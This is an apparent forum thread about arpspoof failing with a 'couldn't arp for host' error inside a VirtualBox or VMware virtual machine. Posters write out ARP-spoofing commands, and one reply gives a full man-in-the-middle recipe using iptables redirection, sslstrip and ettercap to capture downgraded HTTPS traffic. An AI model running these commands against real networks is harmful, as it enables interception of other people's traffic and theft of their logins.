ERROR TO RUN "arpspoof" ON VIRTUAL MACHINE

Hello everyone, Someone can help me, I have a problem to run "arpspoof", when I run the command: #arpspoof -i eth0 -t myLocalAddress gateway, it returns this error "arpspoof couldn't arp for host". I'm executing from a VM. Let me know the solution. Thank! Maybe u did any wrong with the commands? what kind of virtualization app are you using? @Panoshoopaz My friend, the commands are right, I think that is not the problem. @SpiderX I'm using the VirtualBox. This problem occur only when I run the command with my IP Address as target. Example: **\#echo 1> /proc/sys/net/ipv4/ip\_forward - this command was successful****\#arpspoof -i eth0 -t destinationAddress localAddress - this command was successful*****\#arpspoof -i eth0 -t localAddress dsestinationAddress - this command returns the message “arpspoof couldn’t arp for host”*** My network was configured in bridge mode. My ip address is 192.168.0.111 and ip address of the target is 192.168.0.112. Any idea about this problem? Felipe:) if the commands is right, hmm u can check the options on vm about permissions @Panoshoopaz please let me know what permissions? if the arpspoof can't translate hostname to ip address , you should add in the /etc/hosts of your backtrack (or kali) the ip address and the hostname of your local machine as well the remote (target machine), or you may need a dns to resolve hostname to ip address. and make sure your network is set to bridge if the remote machine is a physical host. @Spider I'm access per IP, not by hostname. I have sure that my Virtual Machine was set as bridge. Do you have another idea about this problem? Thanks Have u seen about iptables bro? @panoshoopaz I tried it, but I can't verify iptables status. When I run "service iptables status" it returns "iptables unrecognized service". Do you have another idea? Ok firtst,what operate system do you have,to see if this is a problem? second i think u only can run arpspoof in the same gateway,not in different bro :) The system it's windows 8.1, I tried run arpspoof in another gateway and some differents computers, but unsuccessful... Hi, I would try to use ettercap instead of arpspoof. Here the steps to take for doing arpspoofing even over SSL connection: echo "1" > /proc/sys/net/ipv4/ip\_forward iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 sslstrip -l 8080 ettercap -TqM arp:remote // // Your log file is in: sslstrip.log tips: Sometimes the ip\_forward is reset by the OS so creating a script to run echo "1" > /proc/sys/net/ipv4/ip\_forward in a loop as long as you are doing spoofing should keep you hitting forward issues. :)K Try SSLStrip+ which is the sslstrip v2 :). Thanks Ketil, I will try it... Try NAT instead of bridge connection. I have tried... but don't worked... :/ What does ifconfig show? I do remember having to set the network settings in a certain way when I wanted to connect to a webserver on one VirtualBox VM from another VirtualBox VM on the same Windows 7 host. I would start on the VirtualBox forums. First make sure you can ping your target (192.168.0.112) from your host (192.168.0.111) and the other way too - though I have never experienced a one way ping though I suppose a firewall between to systems could be set up to do that. @Panoshoopaz in your opinion is a permission error? Hello, Sorry for reply so late... My ip configuration is ok... I think this is some problem in VirtualBox... I'll try to run within Kali Linux as main OS... Use Bettercap. On my home network I had problems with arpspoof, using bettercap I solved them. Install bettercap and run: bettercap -I \[interface\] -T \[target\] @TheFedex87 I'll try and let you know about the results... Thank you Im having the same issue. I'm using nat in vmware and my router is 192.168.0.1 my target pc is 192.168.0.101 i can ping both of them but can't do arpspoof im using these commands "echo 1 > /proc/sys/net/ipv4/ip\_forward" "sysctl net.ipv4.ip\_forward" To spoof: "arpspoof -i eth0 -t 192.168.0.101 192.168.0.1" "arpspoof -i eth0 -t 192.168.0.1 192.168.0.101" im connected through eth0 interface and can access net i tried bridged connection but didn,t work for me.... kindly help.. @Felipe Oliveira check that whether your default gateway( your roter address) and your victim default gateway is same.... use "route" to check in kali and ipconfig in win ..... i had the same issue i changed my kali gateway to victim pc gateway and then atlast i can do arpspoofing.... I hope it helps... Im having the same issue.did u solve it. if so,help me pls.....
